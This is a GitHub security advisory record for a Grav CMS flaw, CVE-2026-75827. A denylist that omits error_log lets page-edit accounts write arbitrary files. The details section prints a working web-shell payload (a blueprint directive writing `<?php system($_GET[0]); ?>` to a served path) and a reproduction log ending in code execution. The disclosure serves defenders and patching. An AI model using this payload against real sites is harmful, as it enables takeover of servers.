CVE-2026-75827: Grav Blueprint Dynamic-data Bare-function Branch Is Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f8wv-xp27-6gq7",
  "modified" : "2026-09-17T20:44:16Z",
  "published" : "2026-09-17T20:44:16Z",
  "aliases" : [ "CVE-2026-75827" ],
  "summary" : "Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write",
  "details" : "## Affected versions and vulnerable location\n\n- Confirmed on grav core at `78ebfc1` (tag 2.0.13).\n- Sinks:\n  - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider).\n  - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`.\n- Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`.\n  - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`.\n  - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`.\n- Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`).\n\n## Root cause\n\nGHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes.\n\n`error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.)\n\n## Attacker model\n\nThe same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.\n\n## Reachability trace\n\n1. Author a blueprint field with a bare-function data directive, e.g.\n   `data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']`.\n2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall('error_log', $params)` reaches the bare-function branch (`:530`), `isDangerousFunction('error_log')` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true.\n3. `call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php'])` (`:455`) appends the PHP payload to `user/data/x.php`.\n4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload.\n\n## Reproduction\n\nExecuted end to end against the real `Grav\\Common\\Data\\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file:\n\n```text\n[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true      # guard ACCEPTS error_log (bug)\n[2] isSafeDynamicCall('system', ['id']) => false                  # control\n    isSafeDynamicCall('exec',   ['id']) => false                  # control\n[3] call_user_func_array('error_log', ['<?php echo \"PWNED\"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])\n    file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo \"PWNED\"; ?>\n[4] php /tmp/grav_rce_proof.php  =>  PWNED                        # arbitrary PHP executed (RCE)\n```\n\nThe guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation:\n\n```bash\nrg -n \"error_log|stream_socket_client|mb_send_mail\" system/src/Grav/Common/Utils.php   # no hits\nrg -n \"isDangerousFunction|allowedDynamicCallables|call_user_func_array\" system/src/Grav/Common/Data/Blueprint.php\n```\n\n`error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist.\n\n## Suggested fix\n\nConvert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated.\n\n## Severity and CVSS reasoning\n\nSuggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).\n\nSuggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.\n\n- `PR:L`: a blueprint/page-edit account, not super.\n- `C:H/I:H/A:H`: arbitrary file write leading to code execution.\n\n## How I found it and a note on tooling\n\nI compared the two branches of `isSafeDynamicCall()`: the `Class::method` branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found `error_log` missing. I used AI assistance for enumeration and drafting. I then executed the real `Blueprint::isSafeDynamicCall()` (loaded via composer autoload) to confirm it accepts `error_log` and rejects `system`/`exec`, and drove the `error_log` sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.15"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.14"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-f8wv-xp27-6gq7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-75827"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/grav-before-arbitrary-file-write-via-error-log"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T20:44:16Z",
    "nvd_published_at" : null
  }
}